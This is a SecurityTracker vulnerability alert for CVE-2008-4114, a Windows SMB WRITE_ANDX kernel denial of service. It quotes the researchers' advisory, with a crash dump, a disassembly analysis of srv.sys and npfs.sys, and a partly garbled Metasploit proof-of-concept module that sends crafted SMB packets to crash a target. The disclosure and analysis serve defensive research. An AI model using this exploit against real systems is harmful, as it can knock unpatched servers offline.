Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   OS (Microsoft)  >   Windows Server Message Block Vendors:   Microsoft
Windows SMB Processing Bug Lets Remote Users Deny Service
SecurityTracker Alert ID:  1020887
SecurityTracker URL:
CVE Reference:   CVE-2008-4114   (Links to External Site)
Updated:  Jan 13 2009
Original Entry Date:  Sep 16 2008
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): Tested on Vista
Description:   A vulnerability was reported in Microsoft Windows. A remote user can cause denial of service conditions.

A remote user can send specially crafted WRITE_ANDX SMB packets to an interface that uses a named pipe as the endpoint to cause the target server to crash.

Javier Vicente Vallejo and Ruben Santamarta reported this vulnerability.

Impact:   A remote user can cause the target system to crash.
Solution:   The vendor has issued the following fixes:

Microsoft Windows 2000 Service Pack 4:

Windows XP Service Pack 2 and Windows XP Service Pack 3:

Windows XP Professional x64 Edition and Windows XP Professional x64 Edition Service Pack 2:

Windows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2:

Windows Server 2003 x64 Edition and Windows Server 2003 x64 Edition Service Pack 2:

Windows Server 2003 with SP1 for Itanium-based Systems and Windows Server 2003 with SP2 for Itanium-based Systems:

Windows Vista and Windows Vista Service Pack 1:

Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1:

Windows Server 2008 for 32-bit Systems:

Windows Server 2008 for x64-based Systems:

Windows Server 2008 for Itanium-based Systems:

A restart is required.

The Microsoft advisory is available at:

Vendor URL: (Links to External Site)
Cause:   Access control error

Message History:   None.

 Source Message Contents

Subject:  Microsoft Windows WRITE_ANDX SMB command handling Kernel DoS

Some days ago i have discovered a DoS in Windows Vista. Here is the advisory with a detailed description about the vulnerability that
 will help to Microsoft (they have been already notified about the bug) to correct it as soon as possible, and it will help you if
 you need to add any rule for your firewall.

Vulnerability and Exploit: Javier Vicente Vallejo,
Vulnerability Analysis: Ruben Santamarta,


Microsoft Windows is prone to a remote Kernel Denial of Service due to the way srv.sys handles malformed WRITE_ANDX SMB packets. 

Remote attackers could exploit this issue without having valid credentials on the target machine. In order to achieve a successful
 exploitation, the attacker needs enough privileges to remotely send WRITE_ANDX packets to an interface that uses a Named Pipe as
 endpoint. Those interfaces that allow NULL Sessions vary between Windows versions, in Vista the reliability of a preauth attack 

Affected versions

Theorically verified on: Windows 2000, XP, Server 2003, Vista, Server 2008.
Successfully exploited on: Microsoft Windows Vista SP1 with latest security updates. 


A condition exists with srv.sys and npfs.sys wherein a specially crafted WRITE_ANDX SMB (
  packet may cause a kernel Denial Of Service.

1: kd> !analyze -v
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *

Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arg1: 92bc0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 81c834b3, If non-zero, the instruction address which referenced the bad memory
Arg4: 00000000, (reserved)

Debugging Details:

READ_ADDRESS:  92bc0000 Nonpaged pool

81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]






TRAP_FRAME:  90126b40 -- (.trap 0xffffffff90126b40)
ErrCode = 00000000
eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????
Resetting default scope

LAST_CONTROL_TRANSFER:  from 81cd86df to 81c81720

901266b4 81cd86df 00000003 9012dc44 00000000 nt!RtlpBreakWithStatusInstruction
90126704 81cd914c 00000003 00000000 8c3236b0 nt!KiBugCheckDebugBreak+0x1c
90126ab0 81ca9df2 00000050 92bc0000 00000000 nt!KeBugCheck2+0x5f4
90126b28 81c8fa34 00000000 92bc0000 00000000 nt!MmAccessFault+0x106
90126b28 81c834b3 00000000 92bc0000 00000000 nt!KiTrap0E+0xdc
90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33
90126c04 87261f32 952ad314 00000001 92bbfecf Npfs!NpWriteDataQueue+0xf6
90126c58 8726289d 839f3c40 00000001 90126c70 Npfs!NpInternalWrite+0x124
90126c7c 872628e7 839f3c40 92baf9a8 0000ffff Npfs!NpCommonFileSystemControl+0x17b
90126c94 81c27fae 839f3c40 92baf9a8 92baf008 Npfs!NpFsdFileSystemControl+0x19
90126cac 901736d0 90827482 9016562c 92baf008 nt!IofCallDriver+0x63
90126d30 9015a39b 83a01dd8 83a01da0 92baf010 srv!SrvSmbWriteAndX+0x9a1
90126d54 9016be8d 00000000 8c3236b0 00000000 srv!SrvProcessSmb+0x151
90126d7c 81e25472 00a01da0 9012d680 00000000 srv!WorkerThread+0x12c
90126dc0 81c9141e 9016bd61 83a01da0 00000000 nt!PspSystemThreadStartup+0x9d
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16

Srv.sys is the driver that will process the received SMB packet, once the packet is parsed it is routed through the proper driver.
 In this case, npfs.sys (named pipe filesystem driver). Npfs.sys handles named pipe requests. Below we can see how srv.sys parses
 some important fields of the packet:

PAGE:00048583                 movzx   ecx, word ptr [ebx+17h]	 ; Packet. DataOffset
PAGE:00048587                 mov     [ebp+var_50], ecx
PAGE:0004858A                 mov     eax, [esi+78h]  		; Packet
PAGE:0004858D                 add     eax, ecx			; Packet.Data[]
PAGE:0004858F                 mov     [ebp+VirtualAddress], eax
PAGE:00048592                 mov     eax, [esi+6Ch]
PAGE:00048595                 mov     eax, [eax+10h]
PAGE:00048598                 sub     eax, ecx        			; Real packet len - DataOffset
PAGE:0004859A                 movzx   edi, word ptr [ebx+15h]	; Packet.DataLen
PAGE:0004859E                 cmp     edi, eax
PAGE:000485A0                 jb      short loc_485A4
PAGE:000485A2                 mov     edi, eax

In this part of the code, the driver should add a check to avoid to continue if the offsets are not in concordance to the real size
 of the packet. Later on, srv.sys builds (or reuses) an FILESYSTE_CONTROL  IRP (0xD), whose IOCTL  is 0x119FF8 ( FSCTL_PIPE_INTERNAL_WRITE,
 METHOD_BUFFERED), then it  sends this IRP to the proper driver by using a call to IofCallDriver. This IRP  contains the packet, however
 worth noting that  the memory the IO Manager allocates for a METHOD_BUFFERED buffer is reserved from the NonPaged Pool area (It is
 a important fact to have in mind for a better understanding of the bug).

PAGE:00048C90                 push    ebx             ; int
PAGE:00048C91                 push    ebx             ; int
PAGE:00048C92                 push    ebx             ; int
PAGE:00048C93                 push    ebx             ; int
PAGE:00048C94                 push    edi             ; int
PAGE:00048C95                 push    [ebp+VirtualAddress] ; int
PAGE:00048C98                 push    119FF8h         ; int
PAGE:00048C9D                 push    0Dh             ; char
PAGE:00048C9F                 push    esi             ; int
PAGE:00048CA0                 mov     eax, [ebp+FileInformation]
PAGE:00048CA3                 push    dword ptr [eax+38h] ; FileObject
PAGE:00048CA6                 push    dword ptr [esi+80h] ; Irp
PAGE:00048CAC                 call    _SrvBuildIoControlRequest@44 ; SrvBuildIoControlRequest(x,x,x,x,x,x,x,x,x,x,x)

PAGE:00048D23                 mov     edx, [esi+80h]
PAGE:00048D29                 mov     ecx, [ebp+var_44]
PAGE:00048D2C                 call    ds:__imp_@IofCallDriver@8 ; IofCallDriver

This IRP is processed by npfs!NpCommonFileSystemControl .

PAGE:0001885C loc_1885C:                  ; CODE XREF: NpCommonFileSystemControl(x,x)+E7 j
PAGE:0001885C                 cmp     eax, 119FF8h
PAGE:00018861                 jz      short loc_18896

PAGE:00018896 loc_18896:            ; CODE XREF: NpCommonFileSystemControl(x,x)+139 j
PAGE:00018896                 lea     eax, [ebp+var_C]
PAGE:00018899                 push    eax
PAGE:0001889A                 push    edx
PAGE:0001889B                 push    [ebp+Irp]
PAGE:0001889E                 call    _NpInternalWrite@12 ; NpInternalWrite(x,x,x)

Within this routine, we end up reaching npfs!NpWriteDataQueue where the bug could be triggered.

Npfs gets an entry from a list that contains certain pending IRPs associated with the connection.

PAGE:0001A187                 push    esi
PAGE:0001A188                 push    [ebp+arg_0]
PAGE:0001A18B                 call    _NpGetNextRealDataQueueEntry@8 ; NpGetNextRealDataQueueEntry(x,x)

The driver performs a check on the retrieved entry. Due to this check, it is not possible to provoke an overflow within the memcpy

loc_1A1F6:                              ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+92 j

PAGE:0001A1F6                 mov     ecx, [ebx]      ; Packet.DataLen
PAGE:0001A1F8                 cmp     ecx, edi        ;  Entry.BufferLen ( 0x400 )
PAGE:0001A1FA                 jnb     short loc_1A1FE
PAGE:0001A1FC                 mov     edi, ecx
PAGE:0001A1FE loc_1A1FE:                              ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+A0 j
PAGE:0001A1FE                 cmp     dword ptr [eax+10h], 1
PAGE:0001A202                 jz      short loc_1A22D
PAGE:0001A204                 test    edi, edi
PAGE:0001A206                 jbe     short loc_1A22D
PAGE:0001A208                 push    5246704Eh       ; Tag
PAGE:0001A20D                 push    edi             ; NumberOfBytes
PAGE:0001A20E                 push    0               ; PoolType
PAGE:0001A210                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)

In other words, for any amount of bytes that memcpy may copy, the same amount of bytes will be dynamically allocated. Thus, we never
 force an overflow condition.

Finally, below is the piece of code where the bug is triggered:

PAGE:0001A23E                 push    edi             ; size_t
PAGE:0001A23F                 mov     eax, [ebp+arg_8] ; &Packet + Packet.DataOffset
PAGE:0001A244                 add     eax, [ebp+arg_C] ; &Packet + (Current)Packet.DataLength
PAGE:0001A247                 push    eax             ; void * 
PAGE:0001A248                 push    [ebp+P]         ; void *
PAGE:0001A24B                 call    _memcpy

 for memcpy, as wen can see it could be pointing to undetermined memory.  When the flaw occurs, this pointer holds an address beyond
 thus triggering a kernel level DoS. Other possibilities like arbitrary kernel memory disclosure has not been researched.

The function that handles Non-Paged memory allocations  in srv.sys is srv!SrvAllocateNonPagedPool. Every pool associated with srv.sys

Every Windows version is theorically affected by the flaw, however due to the nature of the bug, it might be impossible to reproduce
 it in certain cases. It has been empirically proven that Microsoft Windows Vista SP1 is more prone to this vulnerability than other
 versions where the work contexts of srv.sys becomes large from the very beggining.


Vista SP1
kd> !poolused 2
Pool Used:
           		 NonPaged            		Paged
 Tag    		Allocs     Used   		 Allocs     	Used
LSwi       	 1    	16464        	 0       	 	0		initial work context
LSwn        	4   	 33088        	 0       		 0		normal work context

eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????
Resetting default scope

1: kd> kv
ChildEBP RetAddr  Args to Child              
90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33

1: kd> !pool 92bbfecf-($Packet.DataLength)
Pool page 92bafed0 region is Nonpaged pool
*92baf000 : large page allocation, Tag is LSwn, size is 0x2050 bytes
		Pooltag LSwn : normal work context

We demonstrate that the flaw is indeed reproducible.

1: kd> !pte 92bbfecf - ($Packet.DataLength)
               VA 92bafed0
PDE at 00000000C06024A8    PTE at 00000000C0495D78
contains 00000000030B8863  contains 0000000009A40963
pfn 30b8 ---DA--KWEV    pfn 9a40 -G-DA--KWEV

1: kd> !pte 92bbfecf + ($Packet.DataLength)
               VA 92bcfece
PDE at 00000000C06024A8    PTE at 00000000C0495E78
contains 00000000030B8863  contains 0000325E00000000
pfn 30b8 ---DA--KWEV                           not valid
                       PageFile:  0
                       Offset: 325e
                       Protect: 0

Dumping memory

1: kd> db 92bbfecf - ($Packet.DataLength)
92bafed0  ff 53 4d 42 2f 00 00 00-00 18 07 c8 00 00 cc cc  .SMB/...........
92bafee0  cc cc cc cc cc cc 00 00-00 08 dc 24 01 08 37 72  ...........$..7r

1: kd> db 92bbfecf + ($Packet.DataLength)
92bcfece  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
92bcfede  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Thought the bug was not reproduced in this way (because it is related to how srv.sys handles its IRPs), if you are interested, you
 could debug some parts of this code: you can locally reproduce the way to reach to npfs!NpInternalWrite and npfs!NpWriteDataQueue
 by using Kartoffel (


Here is a PoC exploit module for metasploit that you could use to reproduce the crash:

require 'msf/core'

module Msf
module Exploits
module Test

class BugTest < Msf::Exploit::Remote

	include Exploit::Remote::SMB

	def initialize(info = {})
			'Name'           => 'test exploit',
			'Description'    => 	
			'Author'         => 'tests',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 0 $',
			'Arch'           => 'x86',
			'Payload'        =>
					'Space' => 1000
			'Targets'        => 
						'Windows VISTA',
							'Platform' => 'win'
			'DefaultTarget' => 0))

	def subexploit(dlenlow, doffset,fillersize)






               pkt = CONST::SMB_CREATE_PKT.make_struct

		pkt['Payload']['SMB'].v['Flags1'] = 0x18
		pkt['Payload']['SMB'].v['Flags2'] = 0xc807

		pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
		pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
		pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
		pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i

		pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX

		pkt['Payload']['SMB'].v['WordCount'] = 24
		pkt['Payload'].v['AndX'] = 255
		pkt['Payload'].v['AndXOffset'] = 0xdede
		pkt['Payload'].v['FileNameLen'] = 14
		pkt['Payload'].v['CreateFlags'] = 0x16
		pkt['Payload'].v['AccessMask'] = 0x2019f  # Maximum Allowed
		pkt['Payload'].v['ShareAccess'] = 7
		pkt['Payload'].v['CreateOptions'] = 0x400040
		pkt['Payload'].v['Impersonation'] = 2       
		pkt['Payload'].v['Disposition'] = 1
		pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"



		ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
		pkt = CONST::SMB_WRITE_PKT.make_struct

		data_offset = pkt.to_s.length - 4

		filler = Rex::Text.rand_text(fillersize)


		pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
		pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
		pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
		pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
		pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
		pkt['Payload']['SMB'].v['Flags1'] = 0x18
		pkt['Payload']['SMB'].v['Flags2'] = 0xc807
		pkt['Payload']['SMB'].v['WordCount'] = 14
		pkt['Payload'].v['AndX'] = 255
		pkt['Payload'].v['AndXOffset'] = 0xdede
		pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']
		pkt['Payload'].v['Offset'] = 0
		pkt['Payload'].v['Reserved2'] = -1
		pkt['Payload'].v['WriteMode'] = 8
		pkt['Payload'].v['Remaining'] = fillersize
		pkt['Payload'].v['DataLenHigh'] = 0
		pkt['Payload'].v['DataLenLow'] = dlenlow #<==================
		pkt['Payload'].v['DataOffset'] = doffset #<====
		pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====
		pkt['Payload'].v['ByteCount'] = fillersize#<====
		pkt['Payload'].v['Payload'] = filler



	def exploit
		while j>10000
			while i>10000
					print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")




Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, LLC